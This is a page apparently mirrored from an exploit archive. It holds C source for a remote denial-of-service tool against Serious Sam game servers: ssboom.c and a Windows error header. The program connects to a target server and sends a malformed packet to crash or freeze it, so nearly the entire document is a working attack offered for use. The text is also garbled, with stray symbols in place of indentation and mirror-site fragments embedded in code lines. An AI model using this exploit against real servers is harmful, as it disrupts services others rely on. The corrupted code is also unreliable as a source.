Serious Sam Remote DoS Exploit

ssboom.c:
/*

by Luigi Auriemma


This source is covered by GNU/GPL

UNIX & WIN VERSION
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN
 £ #include <winsock.h>
 £ #include <malloc.h>
 £ #include "winerr.h"

 £ #define close closesocket
 £ #define ONESEC 1000
#else
 £ #include <unistd.h>
 £ #include <sys/socket.h>
 £ #include <sys/types.h>
 £ #include <arpa/inet.h>
 £ #include <netdb.h>

 £ #define ONESEC 1
#endif

#define VER "0.1"
#define BUFFSZ 2048
#define PORT 25600
#define TIMEWAIT 5

u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
 £ int sd,
 £ £ £ £ £ £ £ err,
 £ £ £ £ £ £ £ port;
 £ struct sockaddr_in peer;

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 £ u_char *buff,
 £ £ £ £ £ £ £ type,
 £ £ £ £ £ £ £ pck[] =
/* bug */ "\xff\xff\xff\xff"
 £ £ £ £ £ "\x40\xE1\xDE\x03\xFB\xCA\x2A\xBC\x83\x01\x00\x00\x07\x47\x41"
 £ £ £ £ £ "\x54\x56\x10\x27\x00\x00\x05\x00\x00\x00\x00\x00\x01\x00\x00"
 £ £ £ £ £ "\x00\x01\x00\x00\x00\xA0\x0F\x00\x00\x64\x00\x00\x00";

 £ setbuf(stdout, NULL);

 £ fputs("\n"
 £ £ £ "Serious Sam TCP remote crash/freeze "VER"\n"
 £ £ £ "by Luigi Auriemma\n"
 £ £ £ "e-mail: aluigi@altervista.org\n"
 £ £ £ "web: http://aluigi.altervista.org\n"
 £ £ £ "\n", stdout);

 £ if(argc < 3) {
 £ £ £ printf("\nUsage: %s <type> <server> [port(%u)]\n"
 £ £ £ £ £ "\nType of crash:\n"
 £ £ £ £ £ "0 = crash (0xffffffff)\n"
 £ £ £ £ £ "1 = freeze (0xfffffff0)\n"

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 £ £ £ £ £ "\n", argv[0], PORT);
 £ £ £ exit(1);
 £ }

#ifdef WIN
 £ WSADATA wsadata;
 £ WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

 £ type = argv[1][0] & 1;
 £ if(type) memcpy(pck, "\xf0\xff\xff\xff", 4);
 £ £ £ else memcpy(pck, "\xff\xff\xff\xff", 4);

 £ if(argc > 3) port = atoi(argv[3]);
 £ £ £ else port = PORT;

 £ peer.sin_addr.s_addr = resolv(argv[2]);
 £ peer.sin_port = htons(port);
 £ peer.sin_family = AF_INET;

 £ buff = malloc(BUFFSZ);
 £ if(!buff) std_err();

 £ printf("\nConnection to %s:%hu\n",
 £ £ £ inet_ntoa(peer.sin_addr),
 £ £ £ port);

 £ sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 £ if(sd < 0) std_err();
 £ err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
 £ if(err < 0) std_err();

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 £ £ £ /* 1 recv */

 £ err = recv(sd, buff, BUFFSZ, 0);
 £ if(err < 0) std_err();
 £ if(!err) {
 £ £ £ fputs("\nError: the server has closed the connection, retry\n", stdout);
 £ £ £ exit(1);
 £ }
 £ fputc('.', stdout);

 £ £ £ /* BOOOOOM */

 £ err = send(sd, pck, sizeof(pck) - 1, 0);
 £ if(err < 0) std_err();

 £ fputs("\nMalformed data sent, now I need to wait some seconds...\n", stdout);

 £ for(err = TIMEWAIT; err > 0; err--) {
 £ £ £ printf("%d\r", err);
 £ £ £ sleep(ONESEC);
 £ }

 £ close(sd);

 £ fputs("\nThe exploit is terminated and the server should be down, check it\n", stdout);

 £ free(buff);
 £ return(0);
}

u_long resolv(char *host) {
 £ struct hostent *hp;
 £ u_long host_ip;

 £ host_ip = inet_addr(host); Íø¹Üu¼Òu.bitsCN.com
 £ if(host_ip == INADDR_NONE) {
 £ £ £ hp = gethostbyname(host);
 £ £ £ if(!hp) {
 £ £ £ £ £ printf("\nError: Unable to resolve hostname (%s)\n", host);
 £ £ £ £ £ exit(1);
 £ £ £ } else host_ip = *(u_long *)(hp->h_addr);
 £ }

 £ return(host_ip);
}

#ifndef WIN
 £ void std_err(void) {
 £ £ £ perror("\nError");
 £ £ £ exit(1);
 £ }
#endif

winerr.h
/*
  Header file used for manage errors in Windows
  It support socket and errno too
  (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>

void std_err(void) {
 £ char *error;

 £ switch(WSAGetLastError()) {
 £ £ £ case 10004: error = "Interrupted system call"; break;
 £ £ £ case 10009: error = "Bad file number"; break;
 £ £ £ case 10013: error = "Permission denied"; break; Íø¹ÜÏÂÔØdl.bitscn.com
 £ £ £ case 10014: error = "Bad address"; break;
 £ £ £ case 10022: error = "Invalid argument (not bind)"; break;
 £ £ £ case 10024: error = "Too many open files"; break;
 £ £ £ case 10035: error = "Operation would block"; break;
 £ £ £ case 10036: error = "Operation now in progress"; break;
 £ £ £ case 10037: error = "Operation already in progress"; break;
 £ £ £ case 10038: error = "Socket operation on non-socket"; break;
 £ £ £ case 10039: error = "Destination address required"; break;
 £ £ £ case 10040: error = "Message too long"; break;
 £ £ £ case 10041: error = "Protocol wrong type for socket"; break;
 £ £ £ case 10042: error = "Bad protocol option"; break;
 £ £ £ case 10043: error = "Protocol not supported"; break;
 £ £ £ case 10044: error = "Socket type not supported"; break;
 £ £ £ case 10045: error = "Operation not supported on socket"; break;
 £ £ £ case 10046: error = "Protocol family not supported"; break;
 £ £ £ case 10047: error = "Address family not supported by protocol family"; break;
 £ £ £ case 10048: error = "Address already in use"; break;
 £ £ £ case 10049: error = "Can't assign requested address"; break;
 £ £ £ case 10050: error = "Network is down"; break;
 £ £ £ case 10051: error = "Network is unreachable"; break;
 £ £ £ case 10052: error = "Net dropped connection or reset"; break;
 £ £ £ case 10053: error = "Software caused connection abort"; break;
 £ £ £ case 10054: error = "Connection reset by peer"; break;
 £ £ £ case 10055: error = "No buffer space available"; break;
 £ £ £ case 10056: error = "Socket is already connected"; break;
 £ £ £ case 10057: error = "Socket is not connected"; break;

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 £ £ £ case 10058: error = "Can't send after socket shutdown"; break;
 £ £ £ case 10059: error = "Too many references, can't splice"; break;
 £ £ £ case 10060: error = "Connection timed out"; break;
 £ £ £ case 10061: error = "Connection refused"; break;
 £ £ £ case 10062: error = "Too many levels of symbolic links"; break;
 £ £ £ case 10063: error = "File name too long"; break;
 £ £ £ case 10064: error = "Host is down"; break;
 £ £ £ case 10065: error = "No Route to Host"; break;
 £ £ £ case 10066: error = "Directory not empty"; break;
 £ £ £ case 10067: error = "Too many processes"; break;
 £ £ £ case 10068: error = "Too many users"; break;
 £ £ £ case 10069: error = "Disc Quota Exceeded"; break;
 £ £ £ case 10070: error = "Stale NFS file handle"; break;
 £ £ £ case 10091: error = "Network SubSystem is unavailable"; break;

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 £ £ £ case 10092: error = "WINSOCK DLL Version out of range"; break;
 £ £ £ case 10093: error = "Successful WSASTARTUP not yet performed"; break;
 £ £ £ case 10071: error = "Too many levels of remote in path"; break;
 £ £ £ case 11001: error = "Host not found"; break;
 £ £ £ case 11002: error = "Non-Authoritative Host not found"; break;
 £ £ £ case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
 £ £ £ case 11004: error = "Valid name, no data record of requested type"; break;
 £ £ £ default: error = strerror(errno); break;
 £ }
 £ fprintf(stderr, "\nError: %s\n", error);
 £ exit(1);
}